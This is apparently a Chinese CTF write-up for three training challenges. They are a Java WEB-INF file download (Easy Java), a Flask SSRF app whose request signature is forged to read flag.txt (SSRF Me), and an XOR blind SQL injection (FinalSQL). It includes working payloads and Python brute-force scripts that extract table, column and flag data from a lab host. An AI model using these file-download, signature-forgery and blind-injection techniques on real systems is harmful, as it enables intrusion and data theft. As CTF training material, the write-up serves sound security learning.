[RoarCTF 2019]Easy Java
题目是一个登陆界面,试了一下admin/admin没反应
点击帮助文档出现一个java语句java.io.FileNotFoundException:{help.docx}
应该就是啥都没有,查看源码他的链接是这样的
没啥思路去看别的师傅的wp,这里涉及到一个WEB-INF/xml的文件泄露,因为这题的环境是java的web应用
参考文章:https://www.cnblogs.com/darkcyan/p/17668377.html
WEB-INF知识
WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
这是一些主要敏感目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在.jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件 /WEB-INF/database.properties:数据库配置文件
|
然后就去下载页面去看这些敏感目录的内容,先去看WEB-INF/web.xml
不过这里的下载页面很奇怪,get请求的时候是下载不了的,改成post就可以了,上面的help文档也是
改成post去看一下文件内容
这是从别的师傅那找来的相关标签的用法
<servlet-class> 这个就是指向我们要注册的servlet 的类地址, 要带包路径
<servlet-mapping> 是用来配置我们注册的组件的访问路径,里面包括两个节点 一个是<servlet-name>,这个要与前面写的servlet一致 另一个是<url-pattern>,配置这个组件的访问路径
<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关
举个例子 <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet>
|
然后上面的web.xml文件我们看到了flag相关的类,然后有个路径我试着去访问了一下返回500状态码,那就要去找FlagController.class文件了
因为WEB-INF/classes里面包含了所有class文件,所以我们从该目录开始然后通过包名去写路径即可拿到想要的class文件
/Download
POST: filename=WEB-INF/classes/com/wm/ctf/FlagController.class
|
然后将其中的base64字符串拿去解码即可获得flag
[De1CTF 2019]SSRF Me
题目进去就看到一段很丑陋的源代码,看源码也没有格式化好
直接去让gpt给我美化了一下:
from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json
reload(sys) sys.setdefaultencoding('latin1')
app = Flask(__name__) secert_key = os.urandom(16)
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)
def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
@app.route('/') def index(): return open("code.txt", "r").read()
def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout"
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content): return hashlib.md5(content).hexdigest()
def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0', port=80)
|
根据题目的提示flag在./flag.txt里面
审计源码发现param和action是我们可控的参数,在Exec函数里,在通过checkSign()的校验之后,如果cookie中的aciton包含scan就写入文件,如果包含read就读取文件
这里由于waf过滤了gopher和file,就不能通过param直接传参读文件,不过urllib.urlopen()这个方法有两种方法读取本地文件
- 直接写文件名
- 利用local_file协议:该协议和file的用法一样,local_file///etc/passwd,但是也被过滤了
所以这里在param填文件名写入文件
然后我们就要再去将action换成read去读取,不过这里生成的sign就需要自己去构造了,因为/geneSign路由默认的action是scan,我们去看一下getSign()函数
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
|
这里我们不知道secret_key,但是/geneSign默认action为scan,想查看文件又一定要read,所以直接后面加个read生成sign即可
然后我们给param传一个readsign即可,因为知识检测是否有该关键字
[极客大挑战 2019]FinalSQL
这题进去有个登陆页面
一开始以为注入点在登陆的地方,因为直接get请求发送用户名和密码,试了一下发现没有,后才发现上面的12345会给url传递id参数
id传6之后的数字会发生变化,传递数字和字符串时返回的页面不一样
去尝试了一些字符发现被过滤了不想fuzz,去看wp说是^没被过滤,可以用异或来进行盲注,因为题目也有提示说盲注,参考文章:https://www.shawroot.cc/1158.html
payload的大概思路就是
1^(sql语句) //比如爆库的话可以用改语句ord(substr(database(),1,1)>10),这就是判断数据库第一位的ascii码值是否大于10,ord()函数也可以用ascii()函数代替 //如果页面回显为ERROR!!!,表示正确,因为1^1=0 //如果页面回显为NO! Not this! Click others~~~即id=1时的页面,则错误,因为1^0=1
|
payload如下:
爆出库名脚本,这里直接按顺序爆下去不写二分法了
import requests import time result="" url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^" for i in range(5): for j in range(33,127): sql="(ord(substr(database(),%d,1))=%d)"%(i,j) response=requests.get(url=url+sql) time.sleep(0.02) if "ERROR" in response.text: result+=chr(j) print(result) break
|
然后得出数据库名为geek,这里延时了一点点,因为不知为什么会有几次漏了一些字符没有
然后改一改代码继续爆表名,参考上面文章可以用该语句先去测试一下表名长度,得出长度为16
1^((select(length(group_concat(TABLE_NAME)))from(information_schema.tables)where(table_schema="geek"))=16)
|
emmm后来发现不止两个表,我就直接写50个字符来爆了
import requests import time result="" url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^" for i in range(50): for j in range(33,127): sql="(ord(substr((select(group_concat(table_name))from(information_schema.columns)where(table_schema='geek')),%d,1))=%d)"%(i,j) response=requests.get(url=url+sql) time.sleep(0.02) if "ERROR" in response.text: result+=chr(j) print(result) break
|
然后爆出上面四个表名
再去爆一下字段名看看
import requests import time result="" url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^" name1="F1naI1y" name2="FnaI1y," name3="Fa1y" name4="Flaaag" for i in range(50): for j in range(33,127): sql="(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='%s')),%d,1))=%d)"%(name1,i,j) response=requests.get(url=url+sql) time.sleep(0.02) if "ERROR" in response.text: result+=chr(j) print(result) break
|
这个Flaaag里面没有东西,然后去爆name2,出了下面三个字段名
不过到后面连接超时了,不管了不想爆了(),总之在password这个字段
然后去爆password字段的值拿flag,这里用正则匹配来直接获取含有flag的数据来爆节省时间
import requests import time result="" url="http://76107f08-a9a5-443e-b4b9-1e5097f55d5e.node5.buuoj.cn:81/search.php?id=1^" name1="F1naI1y" name2="FnaI1y," name3="Fa1y" name4="Flaaag" for i in range(5,80): for j in range(33,127): sql=f"(ord(substr((select(group_concat(password))from(F1naI1y)where((password)regexp'flag')),{i},1))={j})" response=requests.get(url=url+sql,timeout=3) time.sleep(0.02) if "ERROR" in response.text: result+=chr(j) print(result) break
|